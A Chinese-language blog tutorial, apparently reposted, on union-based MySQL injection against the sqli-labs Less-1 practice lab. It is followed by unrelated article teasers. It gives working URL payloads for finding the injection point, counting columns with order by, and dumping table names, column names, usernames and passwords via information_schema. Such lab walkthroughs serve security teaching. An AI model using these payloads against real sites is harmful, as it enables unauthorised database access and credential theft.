WEB攻防-通用漏洞-SQL注入-MYSQL-union一般注入

news2024/11/27 7:41:27

前置知识

  1. MySQL5.0以后存放一个默认数据库information_schema
  2. schemata表存放该用户创建的所有库名,schemata. schema_name字段存放库名
  3. tables表存放该用户创建的所有库名和表明,tables.table_schema字段存放库名,tables.table_name存放表名
  4. columns表存放该用户创建的所有库名、表名和字段名,columns.table_schema存放库名,columns.table_name存放表名,columns.column_name存放字段名
  5. database():当前使用的数据库
  6. version():当前MySQL的版本
  7. @@version_compile_os:当前操作系统
  8. user():当前MySQL的用户
  9. group_concat() 罗列出当前参数的所有数据

靶场平台:

sqli-labs的less1

Union一般注入

判断注入点


127.0.0.1/sql/Less-1/?id=1'输入?id=1’后报错,根据报错信息 ''1'' LIMIT 0,1',单引号包含到就是报错位置'1'' LIMIT 0,1,其中1'是我们传入的,可以看到有一个单引号包裹着,由此推断出该sql语句由单引号的闭合模式

127.0.0.1/sql/Less-1/?id=1' and 1=1%23,(%23代表#),其中and 1=1为真,所以返回结果相同。因为是单引号的闭合模式,所以应该在1后面输入一个单引号将其闭合,否则将把后面的都当作整体,由于我们人为地闭合和引号,语句就变成‘1‘ and 1=1‘ LIMIT 0,1,会报错,

所以需要把后面的注释掉,#在地址栏不自动转换编码,所以手动转换%23,‘1‘ and 1=1#‘ LIMIT 0,1

127.0.0.1/sql/Less-1/?id=1' and 1=2%23,由于and 1=2为假,根据条件判断sql执行后是null的,所以返回未查到数据

order by猜字段数

通过order by n猜当前查询有几个字段,n取返回正常页面的最大值,原理是n代表使用第几列用于排序,假设只有3个字段,n取4就会报错 1054 - Unknown column '4' in 'order clause',因为没有第四个字段

127.0.0.1/sql/Less-1/?id=1' order by 3%23返回正常

127.0.0.1/sql/Less-1/?id=1' order by 4%23返回异常

故n为3,当前查询有3个字段

union联合查询获取显示位

127.0.0.1/sql/Less-1/?id=1' union select 1,2,3%23,order by中n是多少就需要填充几个数字(值)作为占位符,但发现没有得到期望结果

由于mysql前表查询的内容总在前面,后表查询的内容在后面,并且limit 0,1只返回一条结果,所以union获取的结果没有输出

补充:在access数据库中,后面union查询始终在第一行。

把参数修改为数据库中没有的数据,如-999,让前表无法查询到,从而返回后表的内容

 故只要使得前表查询失败即可,127.0.0.1/sql/Less-1/?id=-1' union select 1,2,3%23,从而得到显示位为2和3,这时就可以通过显示位去注入一些sql语句或函数来达到目的

注入利用

根据前置知识获取数据库的信息和数据

127.0.0.1/sql/Less-1/?id=-1' union select 1,version(),database()%23,尝试获取数据库名和数据库版本

group_concat() 将当前获取的所有数据拼接输出

查数据库security下的表名:127.0.0.1/sql/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= 'security'%23

查users表的字段名:127.0.0.1/sql/Less-1/?id=-1' union select 1, 2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'# 

查询username和password:127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from security.users %23

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1941056.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Elastic 及阿里云 AI 搜索 Tech Day 将于 7 月 27 日在上海举办

活动主题 面向开发者的 AI 搜索相关技术分享,如 RAG、多模态搜索、向量检索等。 活动介绍 参加 Elastic 原厂与阿里云联合举办的 Generative AI 技术交流分享日。借助 The Elastic Search AI Platform, 使用开放且灵活的企业解决方案,以前所…

基于YOLO8的目标检测系统:开启智能视觉识别之旅

文章目录 在线体验快速开始一、项目介绍篇1.1 YOLO81.2 ultralytics1.3 模块介绍1.3.1 scan_task1.3.2 scan_taskflow.py1.3.3 target_dec_app.py 二、核心代码介绍篇2.1 target_dec_app.py2.2 scan_taskflow.py 三、结语 在线体验 基于YOLO8的目标检测系统 基于opencv的摄像头…

Spring Cloud GateWay(4.1.4)

介绍 该项目提供了一个建立在 Spring 生态系统之上的 API 网关,包括:Spring 6、Spring Boot 3 和 Project Reactor。Spring Cloud Gateway 旨在提供一种简单而有效的方法来路由到 API,并为其提供跨领域关注点,例如:安…

华清数据结构day3 24-7-18

基于昨天代码增加增删改查功能 zy.h #ifndef ZY_H #define ZY_H #define MAX 100 //最大容量 //定义学生类型 struct Stu {char name[20];int age;double score; }; //定义班级类型 struct Class {struct Stu student[MAX]; //存放学生的容器int size; //实际…

【Git】(基础篇五)—— Git进阶

Git进阶 之前关于本地和远程仓库的各种操作都已经非常基础了,本文介绍git的一些进阶使用和设置 用户名和邮箱 之前介绍的每一次提交(commit) 都会产生一条日志(log) 信息,这条日志信息不仅会记录提交信息,还会记录执行提交操作的这个用户的…

【QAC】分布式部署下其他机器如何连接RLM

1、 文档目标 解决分布式部署下其他机器如何连接RLMLicense管理器。 2、 问题场景 分布式部署下QAC要在其他机器上单独运行扫描,必须先连接RLMLicense管理器,如何连接? 3、软硬件环境 1、软件版本:HelixQAC23.04 2、机器环境…

ClusterIP、NodePort、LoadBalancer 和 ExternalName

Service 定义 在 Kubernetes 中,由于Pod 是有生命周期的,如果 Pod 重启它的 IP 可能会发生变化以及升级的时候会重建 Pod,我们需要 Service 服务去动态的关联这些 Pod 的 IP 和端口,从而使我们前端用户访问不受后端变更的干扰。 …

SpringBoot Security OAuth2实现单点登录SSO(附源码)

文章目录 基础概念1. 用户认证2. 单点登录(SSO)3. 授权管理4. 安全性和配置 逻辑实现配置认证服务器配置Spring Security两个客户端 页面展示本篇小结 更多相关内容可查看 附源码地址:https://gitee.com/its-a-little-bad/SSO.git 基础概念 …

HarmonyOS 状态管理(一)

1. HarmonyOS 状态管理 1.1. 说明 官方文档(https://developer.huawei.com/consumer/cn/doc/harmonyos-guides-V5/arkts-state-management-V5) 1.1.1. 状态管理(V1稳定版) 状态管理(V1稳定版)提供了多种…

90+ Python 面试问答(2024 版)

90+ Python 面试问答(2024 版) 一、介绍 欢迎来到准备数据科学工作面试的第一步。这里有一个全面而广泛的 Python 面试问题和答案列表,可帮助您在面试中取得好成绩并获得理想的工作!Python 是一种解释型通用编程语言,由于其在人工智能 (AI) 中的使用,如今需求量很大。…

python大小写转换、驼峰大小写转换

一 大小写转换 1第1个单词的首字母大写 capitalize() 2每个单词的首字母大写 title() 3所有字母大小写转换 swapcase() 代码示例 texttoday is sundaYprint(text.capitalize()) # 仅第1个单词的首字母大写 print(text.title()) # 每个单词的首字母大写 print(text.swapcase…

Vue 多选下拉框+下拉框列表中增加标签

1、效果图 2、代码部分 &#xff08;1&#xff09;代码 <el-select class"common-dialog-multiple multipleSelectStyle" change"clusterListChange" v-model"form.clusterId" placeholder"请先选择" multiple filterable defaul…

【BUG】已解决:AttributeError: ‘str‘ object has no attribute ‘read‘

AttributeError: ‘str‘ object has no attribute ‘read‘ 目录 AttributeError: ‘str‘ object has no attribute ‘read‘ 【常见模块错误】 【解决方案】 欢迎来到英杰社区https://bbs.csdn.net/topics/617804998https://bbs.csdn.net/topics/617804998 欢迎来到我的主…

(7) cmake 编译C++程序(二)

文章目录 概要整体代码结构整体代码小结 概要 在ubuntu下&#xff0c;通过cmake编译一个稍微复杂的管理程序 整体代码结构 整体代码 boss.cpp #include "boss.h"Boss::Boss(int id, string name, int dId) {this->Id id;this->Name name;this->DeptId …

error C2011: “sockaddr_in”:“struct”类型重定义的修改办法

问题 windows.h和winsock2.h存在有类型重定义,往往体现在头文件包含winsock2.h和windows.h时出现编译错误: error C2011: “sockaddr_in”:“struct”类型重定义 2>D:\Windows Kits\10\Include\10.0.22000.0\shared\ws2def.h(442,5): error C2143: 语法错误: 缺少“}”(…

为什么大家都想学大模型?一文揭秘!

小编只是普通的汽车软件工程师&#xff0c;想了解人工智能&#xff0c;又感觉好遥远&#xff0c;仔细的看了半天&#xff0c;就一个想法 好好拥抱AI吧。真的好强。 相比之下&#xff0c;Autosar 是个 der 啊。。。。 人工智能基础概念全景图 AI -> 机器学习 机器学习 ->…

探索 Python 的新视界:ttkbootstrap 库

探索 Python 的新视界&#xff1a;ttkbootstrap 库 背景与简介 在 Python 的世界中&#xff0c;库的丰富性是其强大功能的重要体现之一。今天&#xff0c;我们将一起探索一个令人兴奋的库——ttkbootstrap。这个库不仅提供了丰富的界面组件&#xff0c;还使得界面设计变得简单…

Python脚本批量下载ECWMF免费数据教程

前情提要 最近需要使用EC的一些数据&#xff0c;摸索下载过程中顺便记录下来&#xff0c;综合了EC上免费数据集的两个数据集的下载方式&#xff0c;使用python脚本下载 相比在网站上操作下载&#xff0c;个人更推荐脚本下载&#xff0c;官方已经封装好了两个库直接可以方便使…

HTML5实现好看的天气预报网站源码

文章目录 1.设计来源1.1 获取天气接口1.2 PC端页面设计1.3 手机端页面设计 2.效果和源码2.1 动态效果2.2 源代码 源码下载万套模板&#xff0c;程序开发&#xff0c;在线开发&#xff0c;在线沟通 作者&#xff1a;xcLeigh 文章地址&#xff1a;https://blog.csdn.net/weixin_4…

Django+vue自动化测试平台(27)-- 封装websocket测试

websocket概述&#xff1a; WebSocket 是一种在单个 TCP 连接上进行全双工通信(Full Duplex 是通讯传输的一个术语。通信允许数 据在两个方向上同时传输&#xff0c;它在能力上相当于两个单工通信方式的结合。全双工指可以同时&#xff08;瞬时&#xff09;进 行信号的双向传输…